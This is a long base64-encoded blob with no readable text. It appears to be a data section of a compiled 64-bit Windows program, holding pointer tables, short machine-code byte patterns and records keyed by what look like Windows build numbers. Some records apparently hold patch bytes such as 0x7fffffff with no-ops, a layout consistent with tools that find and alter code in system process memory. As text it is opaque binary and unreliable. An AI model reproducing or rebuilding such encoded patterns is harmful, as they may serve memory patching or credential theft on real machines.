AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwRgaAAQAAAAECBAgAAAAApAMAAGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4AAAAA/v///0MAAAAAAAAAAAAAAJiPA4ABAAAAlI8DgAEAAACQjwOAAQAAAIyPA4ABAAAAiI8DgAEAAACEjwOAAQAAAICPA4ABAAAAeI8DgAEAAABwjwOAAQAAAGiPA4ABAAAAWI8DgAEAAABIjwOAAQAAADyPA4ABAAAAMI8DgAEAAAAsjwOAAQAAACiPA4ABAAAAJI8DgAEAAAAgjwOAAQAAAByPA4ABAAAAGI8DgAEAAAAUjwOAAQAAABCPA4ABAAAADI8DgAEAAAAIjwOAAQAAAASPA4ABAAAAAI8DgAEAAAD4jgOAAQAAAOiOA4ABAAAA3I4DgAEAAADUjgOAAQAAAByPA4ABAAAAzI4DgAEAAADEjgOAAQAAALyOA4ABAAAAsI4DgAEAAACojgOAAQAAAJiOA4ABAAAAiI4DgAEAAACAjgOAAQAAAHyOA4ABAAAAcI4DgAEAAABYjgOAAQAAAEiOA4ABAAAACQQAAAEAAAAAAAAAAAAAAECOA4ABAAAAOI4DgAEAAAAwjgOAAQAAACiOA4ABAAAAII4DgAEAAAAYjgOAAQAAABCOA4ABAAAAAI4DgAEAAADwjQOAAQAAAOCNA4ABAAAAyI0DgAEAAACwjQOAAQAAAKCNA4ABAAAAiI0DgAEAAACAjQOAAQAAAHiNA4ABAAAAcI0DgAEAAABojQOAAQAAAGCNA4ABAAAAWI0DgAEAAABQjQOAAQAAAEiNA4ABAAAAQI0DgAEAAAA4jQOAAQAAADCNA4ABAAAAKI0DgAEAAAAYjQOAAQAAAACNA4ABAAAA8IwDgAEAAADgjAOAAQAAAGCNA4ABAAAA0IwDgAEAAADAjAOAAQAAALCMA4ABAAAAmIwDgAEAAACIjAOAAQAAAHCMA4ABAAAAWIwDgAEAAABMjAOAAQAAAESMA4ABAAAAMIwDgAEAAAAIjAOAAQAAAPCLA4ABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACkSwaAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKRLBoABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApEsGgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACkSwaAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKRLBoABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUwaAAQAAAAAAAAAAAAAAAAAAAAAAAACwpgOAAQAAAECrA4ABAAAAwKwDgAEAAACwSwaAAQAAAHBOBoABAAAAcE4GgAEAAABwRgaAAQAAALSoA4ABAAAA//////////+ACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA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VwaAAQAAAPP///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAOG8GgAEAAAAGAAAAAAAAACBvBoABAAAA9f///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAAAAAABAbwaAAQAAAAYAAAAAAAAAIG8GgAEAAAD8////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAFhvBoABAAAAAQAAAAAAAAABVwaAAQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkAAAAAAAAAaG8GgAEAAAABAAAAAAAAAAFXBoABAAAA8P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAABMbwaAAQAAAAYAAAAAAAAAIG8GgAEAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAAAAAAIhvBoABAAAAAQAAAAAAAAABVwaAAQAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAdG8GgAEAAAABAAAAAAAAAAFXBoABAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAACYbwaAAQAAAAEAAAAAAAAAAVcGgAEAAADz////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAHxvBoABAAAABgAAAAAAAAAgbwaAAQAAAPX///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAAAAAAoG8GgAEAAAAGAAAAAAAAACBvBoABAAAA/P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAAAAAAC4bwaAAQAAAAEAAAAAAAAAAVcGgAEAAAD+////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAMhvBoABAAAAAQAAAAAAAAABVwaAAQAAAPD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAArG8GgAEAAAAGAAAAAAAAACBvBoABAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAAAAAADobwaAAQAAAAEAAAAAAAAAAVcGgAEAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAANRvBoABAAAAAQAAAAAAAAABVwaAAQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAAAAAA+G8GgAEAAAABAAAAAAAAAAFXBoABAAAA8////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAADcbwaAAQAAAAYAAAAAAAAAIG8GgAEAAAD1////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAABwBoABAAAABgAAAAAAAAAgbwaAAQAAAPz///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAGHAGgAEAAAABAAAAAAAAAAFXBoABAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQAAAAAAAAAocAaAAQAAAAEAAAAAAAAAAVcGgAEAAADw////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAxwBoABAAAABgAAAAAAAAAgbwaAAQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAASHAGgAEAAAABAAAAAAAAAAFXBoABAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA